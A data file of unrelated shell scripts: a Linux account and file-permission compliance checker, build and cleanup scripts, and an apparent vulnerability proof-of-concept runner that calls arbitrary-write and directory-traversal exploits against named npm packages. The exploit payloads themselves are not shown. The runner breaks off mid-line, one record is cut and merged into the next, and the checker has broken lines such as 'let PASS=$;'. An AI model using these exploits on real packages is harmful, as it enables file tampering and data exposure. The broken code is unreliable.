CHK_UID=\"$(awk -F':' '{ if ( $1 != \"root\" && $3 == 0 ) print $1 }' /etc/passwd | wc -l)\"\n\n if [ \"$CHK_UID\" == \"0\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if root is the only account with UID 0:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if root is the only account with UID 0:\\e[1;31m FAILED\\e[0m (other accounts found)\"\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req60 $REQ60 \"$REQ60_TXT\"\n\n# Req 61: All groups in /etc/passwd must exist in /etc/group.\nlet \"REQ_NR++\"\nREQ_TXT=\"All groups in /etc/passwd must exist in /etc/group.\"\nFAIL=0\nPASS=0\n\ntest_req61 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n NUM=1\n SEARCH_GROUPS=\"$(awk -F':' '{print $4}' /etc/passwd | sort -u)\"\n\n for CHK in $SEARCH_GROUPS; do\n CHK_GROUP=\"$(awk -v var=$CHK -F':' '{if ($3 == var) print $3}' /etc/group | wc -l)\"\n if [ $CHK_GROUP -eq 1 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if group from /etc/passwd ($CHK) exists in /etc/group:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if group from /etc/passwd ($CHK) exists in /etc/group:\\e[1;31m FAILED\\e[0m (group not found)\"\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req61 $REQ61 \"$REQ61_TXT\"\n\n# Req 62: No duplicate UIDs and GIDs must exist.\nlet \"REQ_NR++\"\nREQ_TXT=\"No duplicate UIDs and GIDs must exist.\"\nFAIL=0\nPASS=0\n\ntest_req62 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/2\n NUM=1\n SEARCH_UIDS=\"$(awk -F':' '{print $3}' /etc/passwd)\"\n for CHK in $SEARCH_UIDS; do\n CHK_UID=\"$(awk -F':' '{if ($3 == '$CHK') print $3}' /etc/passwd | wc -l)\"\n if [ $CHK_UID -eq 1 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check in /etc/passwd if UID $CHK exists more than once:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check in /etc/passwd if UID $CHK exists more than once:\\e[1;31m FAILED\\e[0m (found duplicates)\"\n fi\n done\n\n # Test 2/2\n NUM=1\n SEARCH_GIDS=\"$(awk -F':' '{print $3}' /etc/group)\"\n for CHK in $SEARCH_GIDS; do\n CHK_GID=\"$(awk -F':' '{if ($3 == '$CHK') print $3}' /etc/group | wc -l)\"\n if [ $CHK_GID -eq 1 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check in /etc/group if GID $CHK exists more than once:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check in /etc/group if GID $CHK exists more than once:\\e[1;31m FAILED\\e[0m (found duplicate)\"\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req62 $REQ62 \"$REQ62_TXT\"\n\n# Req 63: No duplicate user and group names must exist.\nlet \"REQ_NR++\"\nREQ_TXT=\"No duplicate user and group names must exist.\"\nFAIL=0\nPASS=0\n\ntest_req63 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/2\n NUM=1\n SEARCH_USERS=\"$(awk -F':' '{print $1}' /etc/passwd)\"\n for CHK in $SEARCH_USERS; do\n CHK_USER=\"$(awk -v chk=\"$CHK\" -F':' '{if ($1 == chk) print $1}' /etc/passwd | wc -l)\"\n if [ $CHK_USER -eq 1 ]; then\n let PASS=$;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check in /etc/passwd if user $CHK exists more than once:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check in /etc/passwd if user $CHK exists more than once:\\e[1;31m FAILED\\e[0m (found duplicate)\"\n fi\n done\n\n\n # Test 2/2\n NUM=1\n SEARCH_GROUPS=\"$(awk -F':' '{print $1}' /etc/group)\"\n for CHK in $SEARCH_GROUPS; do\n CHK_GROUP=\"$(awk -v chk=\"$CHK\" -F':' '{if ($1 == chk) print $1}' /etc/group | wc -l)\"\n if [ $CHK_GROUP -eq 1 ]; then\n let PASS=$;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check in /etc/group if group $CHK exists more than once:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check in /etc/group if group $CHK exists more than once:\\e[1;31m FAILED\\e[0m (found duplicate)\"\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req63 $REQ63 \"$REQ63_TXT\"\n\n# Req 64: The shadow group must be empty (only Ubuntu Linux).\nlet \"REQ_NR++\"\nREQ_TXT=\"The shadow group must be empty (only Ubuntu Linux).\"\nFAIL=0\nPASS=0\n\ntest_req64 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n if [ \"$OS\" == \"ubuntu\" ] ; then\n # Test 1/2\n NUM=1\n CHK_SHADOW=\"$(awk -F':' '{if ($1 == \"shadow\") print $4}' /etc/group)\"\n if [ \"$CHK_SHADOW\" == \"\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if shadow group in /etc/group is empty:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if shadow group in /etc/group is empty:\\e[1;31m FAILED\\e[0m (group has users)\"\n fi\n\n # Test 2/2\n NUM=1\n CHK_GID=\"$(awk -F':' '{if ($1 == \"shadow\") print $3}' /etc/group)\"\n CHK_PASSWD=\"$(awk -v chk=\"CHK_GID\" -F':' '{ if ($4 == chk) print $4}' /etc/passwd | wc -l)\"\n if [ $CHK_PASSWD -eq 0 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check /etc/passwd if user is member in shadow group:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check /etc/passwd if user is member in shadow group:\\e[1;31m FAILED\\e[0m (user with group shadow found)\"\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check /etc/passwd if user is member in shadow group: n/a (only Ubuntu)\";\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable\">&3;\n fi\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req64 $REQ64 \"$REQ64_TXT\"\n\n# Req 65: No files and directories without assigned user or group must exist.\nlet \"REQ_NR++\"\nREQ_TXT=\"No files and directories without assigned user or group must exist.\"\nFAIL=0\nPASS=0\n\ntest_req65 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/2\n NUM=1\n SEARCH_FILES=\"$(df --local -P | awk {'if (NR!=1) print $6'} | xargs -I '{}' find '{}' -xdev -nouser)\"\n if [ -z $SEARCH_FILES ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if directories without assigned user exist:\\e[1;32m PASSED\\e[0m\";\n else\n #ERR=1;\n for CHK in $SEARCH_FILES; do\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if directories without assigned user exist:\\e[1;31m FAILED\\e[0m (found $CHK)\"\n done\n fi\n\n # Test 2/2\n NUM=1\n SEARCH_DIRS=\"$(df --local -P | awk {'if (NR!=1) print $6'} | xargs -I '{}' find '{}' -xdev -nogroup)\"\n if [ -z $SEARCH_DIRS ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if directories without assigned group exist:\\e[1;32m PASSED\\e[0m\";\n else\n #ERR=1;\n for CHK in $SEARCH_DIRS; do\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if directories without assigned group exist:\\e[1;31m FAILED\\e[0m (found $CHK)\"\n done\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req65 $REQ65 \"$REQ65_TXT\"\n\n# Req 66: Permissions of security relevant configuration files must have the distribution default values or more restrictive.\nlet \"REQ_NR++\"\nREQ_TXT=\"Permissions of security relevant configuration files must have the distribution default values or more restrictive.\"\nFAIL=0\nPASS=0\nNUM1=1\nNUM2=1\nNUM3=1\n\ntest_req66 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n if [ \"$OS\" == \"ubuntu\" ] ; then\n OS=\"$(echo $OS | tr '[:lower:]' '[:upper:]')\"\n SYSOS=$OS$MAJOR_VERSION\n else\n SYSOS=$OS_MAIN_DISTRO\n fi\n\n FILE_1=\"/etc/passwd\"\n FILE_2=\"/etc/passwd\"\n FILE_3=\"/etc/shadow\"\n FILE_4=\"/etc/shadow-\"\n FILE_5=\"/etc/group\"\n FILE_6=\"/etc/group-\"\n FILE_7=\"$FILE_GRUB\"\n FILE_8=\"/etc/sysctl.conf\"\n FILE_9=\"/etc/ssh/sshd_config\"\n FILE_10=\"/etc/gshadow\" # not used with Suse\n FILE_11=\"/etc/gshadow-\" # not used with Suse\n if [ \"$OS_MAIN_DISTRO\" == \"SUSE\" ]; then CNT_TOTAL=9; else CNT_TOTAL=11; fi\n\n CNT=1\n FILE=FILE_$CNT\n FILE_SET=FILE_SET_$SYSOS$CNT\n\n while [ $CNT -le $CNT_TOTAL ]; do\n PRIV=\"$(echo ${!FILE_SET} | awk '{print $1}')\"\n USER=\"$(echo ${!FILE_SET} | awk '{print $2}')\"\n GROUP=\"$(echo ${!FILE_SET} | awk '{print $3}')\"\n\n # Test 1/3\n CHK_USER=\"$(stat -c %U ${!FILE})\"\n if [ \"$CHK_USER\" == \"$USER\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM1++)))] Check file (${!FILE}) for correct user $USER:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM1++)))] Check file (${!FILE}) for correct user $USER:\\e[1;31m FAILED\\e[0m (wrong user $CHK_USER)\"\n fi\n\n # Test 2/3\n CHK_GRP=\"$(stat -c %G ${!FILE})\"\n if [ \"$CHK_GRP\" == \"$GROUP\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM2++)))] Check file (${!FILE}) for correct group $GROUP:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM2++)))] Check file (${!FILE}) for correct group $GROUP:\\e[1;31m FAILED\\e[0m (wrong group $CHK_GRP)\"\n fi\n\n # Test 3/3\n CHK_PRIV=\"$(stat -c %a ${!FILE})\"\n if [ $CHK_PRIV -le $PRIV ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM3++)))] Check file (${!FILE}) for correct privileges $PRIV:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM3++)))] Check file (${!FILE}) for correct privileges $PRIV:\\e[1;31m FAILED\\e[0m (wrong privledges $CHK_PRIV)\"\n fi\n \n let CNT++\n FILE=FILE_$CNT;\n FILE_SET=FILE_SET_$SYSOS$CNT;\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS \n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req66 $REQ66 \"$REQ66_TXT\"\n\n# Req 67: If passwords are used as an authentication attribute, those must be stored using a suitable and approved \"Password Hashing\" method to protect against offline-attacks like brute force or dictionary attacks.\nlet \"REQ_NR++\"\nREQ_TXT=\"If passwords are used as an authentication attribute, those must be stored using a suitable and approved 'Password Hashing' method to protect against offline-attacks like brute force or dictionary attacks.\"\nFAIL=0\nPASS=0\n\necho -e \"[Req-$REQ_NR: Test 0.0] Check for password encryption: SKIPPED (n/a: duplicate req. (see req. 42)!)\"\necho \"Req $REQ_NR;$REQ_TXT;Not Applicable;Duplicate requirement! Implemented with Req. 42\">&3;\n\nlet CNT_SKIP=$CNT_SKIP+$SKIP\n\n# -----------------------------------------------------------------------------\n# Output result of Test script\n# -----------------------------------------------------------------------------\n\nCNT_TOTAL=0\nlet CNT_TOTAL=$CNT_PASSED+$CNT_ERRORS+$CNT_SKIP\necho -e \"... Testing finished\\n\"\necho -e \"-------------------------------------------------------------------------------\"\necho \"SUMMARY ($OS_NAME $OS_VERSION)\"\necho -e \"-------------------------------------------------------------------------------\"\necho -e \"Test Cases: $CNT_TOTAL | Passed: \\e[1;32m$CNT_PASSED\\e[0m | Failed: \\e[1;31m$CNT_ERRORS\\e[0m | Skipped: $CNT_SKIP\\n\"\n\n# -----------------------------------------------------------------------------\n# Set error code in case of one or more failed checks\n# -----------------------------------------------------------------------------\n\nchmod 444 compliance-* 2>/dev/null\n\nif [ \"$ERR\" == \"1\" ]; then\n exit 1\nelse\n exit 0\nfi"} {"text": "#!/bin/bash\n\nSRCS=\"2048.c\n 2048nc.c\n 2048ac.c\n accacia/src/accacia.c\"\nINCS=-Iaccacia/src/\nLDFLAGS=-lcurses\n\nif [ ! -d obj ] ; then\n mkdir obj\nfi\nif [ ! -d bin ] ; then\n mkdir bin\nfi\nfor s in ${SRCS}\ndo\n o=$(echo $s | sed s/\\\\.c/.o/)\n o=$(echo $o | sed s/.*\\\\/.*\\\\///)\n o=\"obj/\"${o}\n gcc -c ${s} ${INCS} -o${o}\n if [ $? -ne 0 ] ; then\n echo \"*** Caveman build failure!\"\n exit 1\n fi\ndone\n\nldcmd=\"gcc -obin/2048 \"\n\nfor s in ${SRCS}\ndo\n o=$(echo $s | sed s/\\\\.c/.o/)\n o=$(echo $o | sed s/.*\\\\/.*\\\\///)\n o=\"obj/\"${o}\" \"\n ldcmd=${ldcmd}${o}\ndone\n\nldcmd=${ldcmd}${LDFLAGS}\n\n${ldcmd}\n\nif [ $? -ne 0 ] ; then\n echo \"*** Caveman build failure!\"\n exit 1\nfi\n\necho \"*** Caveman build succesful!\"\n\nexit 0"} {"text": "locale_uninstall.sh0\n#! /bin/sh\n#\n# Copyright (c) 2018-2019 and contributors.\n#\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n\nusage() {\n\tprintf \"usage: %s NLSPATH main_exec [DESTDIR]\\n\" \"$0\" 1>&2\n\texit 1\n}\n\nscript=\"$0\"\nscriptdir=$(dirname \"$script\")\n\n. \"$scriptdir/functions.sh\"\n\nINSTALL=\"$scriptdir/safe-install.sh\"\n\ntest \"$#\" -ge 2 || usage\n\nnlspath=\"$1\"\nshift\n\nmain_exec=\"$1\"\nshift\n\nif [ \"$#\" -ge 1 ]; then\n\tdestdir=\"$1\"\n\tshift\nelse\n\tdestdir=\"\"\nfi\n\n# I do something clever here. I am replacing the locale spot with\n# a wildcard, which should make it search all locale directories.\n# This way, we can delete catalogs for locales that we had to install\n# because they are symlinks.\nlocales=$(gen_nlspath \"$destdir/$nlspath\" \"*\" \"$main_exec\")\n\nfor l in $locales; do\n\trm -f \"$l\"\ndone"} {"text": "#!/bin/bash -e\n\nexport NAME=load-reporting\nexport UPARGS=\"--scale http_service=2\"\n\n# shellcheck source=examples/verify-common.sh\n. \"$(dirname \"${BASH_SOURCE[0]}\")/../verify-common.sh\"\n\nrun_log \"Send requests\"\nbash send_requests.sh 2> /dev/null\nrun_log \"Check logs: http 1\"\ndocker-compose logs http_service | grep http_service_1 | grep HTTP | grep 200\n\nrun_log \"Check logs: http 2\"\ndocker-compose logs http_service | grep http_service_2 | grep HTTP | grep 200\n\nrun_log \"Check logs: lrs_server\"\ndocker-compose logs lrs_server | grep \"up and running\"\n\n# TODO(phlax): add some test/docs for interacting with load reporting server"} {"text": "KostadinovK/SAP-GeekyCamp-5.0\n#!/bin/bash\n\nI=1\n\nwhile [ $I -le 100 ]\ndo\n\techo $I\n\tI=$(expr $I + 1) #expr is used to represent a string like an int to add 1 to it\ndone"} {"text": "echo \"$1\"\necho \"command args [ $1 ]\"\n\nbasePath=$(cd \"$(dirname \"$0\")\"; pwd)\nbuildDir=\"$basePath/build\"\nhelp=\"--help\"\nbuild=\"--build\"\ninit=\"--init\"\nclean=\"--clean\"\npackage=\"--package\"\n\nelectronRootDir=\"$basePath/publishHouse/electron\"\nelectronImageDir=\"$electronRootDir/dist/image\"\n\nionicRootDir=\"$basePath/publishHouse/ionic/www\" \nionicImageDir=\"$ionicRootDir/image\" \n\nwebRootDir=\"$basePath/publishHouse/web\"\nwebImageDir=\"$basePath/publishHouse/web/image\"\n\ntestDir=\"$basePath/spec\"\n\ninit(){\n npm install\n cd publishHouse/electron\n npm install \n cd ../ionic\n npm install \n cd ../..\n}\n\nlosBuild(){\n createDir $electronImageDir\n createDir $ionicImageDir\n createDir $webImageDir\n createDir $testDir\n\n echo \"build core and copy file\"\n node node_modules/webpack/bin/webpack.js\n\n #electron\n echo \"copy electron file\"\n cp -f \"$basePath/lib/shotGame.js\" \"$electronRootDir/src/shotGame.js\" \n cp -f -R \"$basePath/image/.\" \"$electronRootDir/dist/image/\"\n\n #ionic\n echo \"copy ionic file\" \n cp -f \"$basePath/lib/shotGame.js\" \"$ionicRootDir/js/shotGame.js\" \n cp -f -R \"$basePath/image/.\" $ionicImageDir\n \n #web\n echo \"copy web file\"\n cp -f \"$basePath/lib/shotGame.js\" \"$webRootDir/shotGame.js\" \n cp -f -R \"$basePath/image/.\" $webImageDir\n\n # test\n cp -f -R \"$basePath/lib\" $testDir\n \n echo \"transform lib for browser environment\"\n python ./transformAmdToCmd.py\n\n echo \"build electron\"\n cd ./publishHouse/electron\n node node_modules/webpack/bin/webpack.js\n cd ../..\n}\nclean(){\n #rm -rf \"$basePath/lib\"\n #rm -rf \"$basePath/build\"\n\n rm -f \"$electronRootDir/src/shotGame.js\" \n rm -rf \"$electronRootDir/dist\"\n\n rm -f \"$ionicRootDir/js/shotGame.js\" \n rm -rf $ionicImageDir\n\n rm -rf \"$basePath/spec/lib\"\n\n rm -r \"$webRootDir/shotGame.js\" \n rm -rf $webImageDir\n}\n\npackage(){\n androidPath=\"$buildDir/android\"\n webPublist=\"$buildDir/web\"\n createDir $androidPath\n\n cd ./publishHouse/ionic\n echo \"ionic cordova build android\" \n\n ionic cordova build android\n cd ../..\n cp -f -R \"$basePath/publishHouse/ionic/platforms/android/build/outputs/apk\" $androidPath\n\n\n cd ./publishHouse/electron\n \n echo \"electron-packager . --electron-version=1.7.9 --no-prune --overwrite --out=$basePath/build\"\n electron-packager . --electron-version=1.7.9 --no-prune --overwrite --out=\"$basePath/build\"\n cd ../..\n\n cd ./publishHouse/web\n\n cp -f -R $webRootDir $webPublist\n}\nlosHelp(){\n echo \"--init install all pacakge\"\n echo \"--build build android/win/linux\"\n echo \"--clean clean build files\"\n}\n\ncreateDir(){\n if [ ! -d $1 ]\n then\n /bin/mkdir -p $1 >/dev/null 2>&1 && echo \"Directory $1 created.\" || echo \"Error: Failed to create $1 directory.\"\n else\n echo \n fi\n}\nif [ \"$1\" = \"$help\" ] \nthen\n losHelp\nelif [ \"$1\" = \"$build\" ]\nthen\n losBuild\nelif [ \"$1\" = \"$package\" ] \nthen\n package\nelif [ \"$1\" = \"$init\" ] \nthen\n init\nelif [ \"$1\" = \"$clean\" ] \nthen\n clean\nelse\n losHelp\nfi"} {"text": "env_default 'WORKSPACE_DIR' \"$HOME/workspace\"\nenv_default 'WORKSPACE_PRO_KEY' \"$DEN_USER\"\nenv_default 'WORKSPACE_LOCAL_KEY' 'local'\nenv_default 'WORKSPACE_NOTES_KEY' 'notes'\n\nalias prosp=\"cd $WORKSPACE_DIR/$WORKSPACE_PRO_KEY\"\nalias localsp=\"cd $WORKSPACE_DIR/$WORKSPACE_LOCAL_KEY\"\nalias notessp=\"cd $WORKSPACE_DIR/$WORKSPACE_NOTES_KEY\"\nalias vaultsp=\"cd $WORKSPACE_DIR/vault\""} {"text": "# fswatch doesn't come by default, look it up on github\nfswatch -o ./src | xargs -n1 -I{} sh ./build_it_please.sh"} {"text": "joapaspe/tesismometro\n#!/bin/bash\nROOT=Latex\nUSER=\nTOKEN=\nSERVER=http://tesismometro.appspot.com\n\nif [ -z \"$USER\" ]\nthen\n echo \"You have to fill the user name\"\n exit\nfi\n\ntexcount $ROOT.tex -merge > .tesiscount\n\nwords=$(grep \"Words in text\" .tesiscount | cut -d ' ' -f 4)\nfigures=$(grep \"Number of floats\" .tesiscount | cut -d ' ' -f 4)\ninlines=$(grep \"math inlines\" .tesiscount | cut -d ' ' -f 5)\nequations=$(grep \"math displayed\" .tesiscount | cut -d ' ' -f 5)\ncites=$(grep -c \"myover/NPM-Vuln-PoC10-100\n#!/bin/bash\n# Author: \n\n\nif [ \"$(uname)\" == \"Darwin\" ]; then\n # under Mac OS X platform\n NODE='node' \nelif [ \"$(expr substr $(uname -s) 1 5)\" == \"Linux\" ]; then\n # under GNU/Linux platform\n NODE='nodejs'\nelif [ \"$(expr substr $(uname -s) 1 10)\" == \"MINGW32_NT\" ]; then\n echo 'Sorry. This PoC only supports Linux/Mac OS.'\n exit\nelif [ \"$(expr substr $(uname -s) 1 10)\" == \"MINGW64_NT\" ]; then\n # under 64 bits Windows NT platform\n echo 'Sorry. This PoC only supports Linux/Mac OS.'\n exit\nfi\n\n# arbitrary file overwrite issues\n\necho -e \"\\nArbitrary write: terminal-share\"\n./arbitrary-write/terminal-share/PoC.sh\n\necho -e \"\\nArbitrary write: innomon\"\n./arbitrary-write/innomon/PoC.sh\n\necho -e \"\\nArbitrary write: parse-ssi\"\n./arbitrary-write/parse-ssi/PoC.sh\n\necho -e \"\\nArbitrary write: connect-parse-php\"\n./arbitrary-write/connect-parse-php/PoC.sh\n\necho -e \"\\nArbitrary write: frvr\"\n./arbitrary-write/frvr/PoC.sh\n\necho -e \"\\nArbitrary write: mysql2csv\"\n./arbitrary-write/mysql2csv/PoC.sh\n\necho -e \"\\nArbitrary write: lam\"\n./arbitrary-write/lam/PoC.sh\n\necho -e \"\\nArbitrary write: thrushs\"\n./arbitrary-write/thrushs/PoC.sh\n\necho -e \"\\nArbitrary write: wisper\"\n./arbitrary-write/wisper/PoC.sh\n\n# directory traversal issues\n\necho -e \"\\nDirectory traversal: tmadserver\"\n./directory-traversal/tmadserver/PoC.sh\n\necho -e \"\\nDirectory traversal: rjpserver\"\n./directory-traversal/rjpserver/PoC.sh\n\necho -e \"\\nDirectory traversal: nodejs_liamgb\"\n./directory-traversal/nodejs_liamgb/PoC.sh\n\necho -e \"\\nDirectory traversal: lab6_agolotin\"\n./directory-traversal/lab6_agolotin/PoC.sh\n\necho -e \"\\nDirectory traversal: gyfserver\"\n./directory-traversal/gyfserver/PoC.sh\n\necho -e \"\\nDirectory traversal: nodejsccc\"\n./directory-traversal/nodejsccc/PoC.sh\n\necho -e \"\\nDirectory traversal: serverlyj333\"\n./directory-traversal/serverlyj333/PoC.sh\n\necho -e \"\\nDirectory traversal: serverzyqzyq\"\n./directory-traversal/serverzyqzyq/PoC.sh\n\necho -e \"\\nDirectory traversal: starfruit\"\n./directory-traversal/starfruit/PoC.sh\n\necho -e \"\\nDirectory traversal: meryl\"\n./directory-traversal/meryl/PoC.sh\n\necho -e \"\\nDirectory traversal: stevenc4.server\"\n./directory-traversal/stevenc4.server/PoC.sh\n\necho -e \"\\nDirectory traversal: hdsdhhksjd\"\n./directory-traversal/hdsdhhksjd/PoC.sh\n\necho -e \"\\nDirectory traversal: jiazhipeng\"\n./directory-traversal/jiazhipeng/PoC.sh\n\necho -e \"\\nDirectory traversal: paopao613\"\n./directory-traversal/paopao613/PoC.sh\n\necho -e \"\\nDirectory traversal: webrepl\"\n./directory-traversal/webrepl/PoC.sh\n\necho -e \"\\nDirectory traversal: serversyysyy\"\n./directory-traversal/serversyysyy/PoC.sh\n\necho -e \"\\nDirectory traversal: zs123\"\n./directory-traversal/zs123/PoC.sh\n\necho -e \"\\nDirectory traversal: zhaolei1111\"\n./directory-traversal/zhaolei1111/PoC.sh\n\necho -e \"\\nDirectory traversal: jacobj66-weather\"\n./directory-traversal/jacobj66-weather/PoC.sh\n\necho -e \"\\nDirectory traversal: web-server-mock\"\n./directory-traversal/web-server-mock/PoC.sh\n\necho -e \"\\nDirectory traversal: iceman178.weather.cs360\"\n./directory-traversal/iceman178.weather.cs360/PoC.sh\n\necho -e \"\\nDirectory traversal: serverfff\"\n./directory-traversal/serverfff/PoC.sh\n\necho -e \"\\nDirectory traversal: servewuqianqianqian\"\n./directory-traversal/servewuqianqianqian/PoC.sh\n\necho -e \"\\nDirectory traversal: wenluhong111\"\n./directory-traversal/wenluhong111/PoC.sh\n\necho -e \"\\nDirectory traversal: nodeload\"\n./directory-traversal/nodeload/PoC.sh\n\necho -e \"\\nDirectory traversal: shenliru3\"\n./directory-traversal/shenliru3/PoC.sh\n\necho -e \"\\nDirectory traversal: songcaihong\"\n./directory-traversal/songcaihong/PoC.sh\n\necho -e \"\\nDirectory traversal: 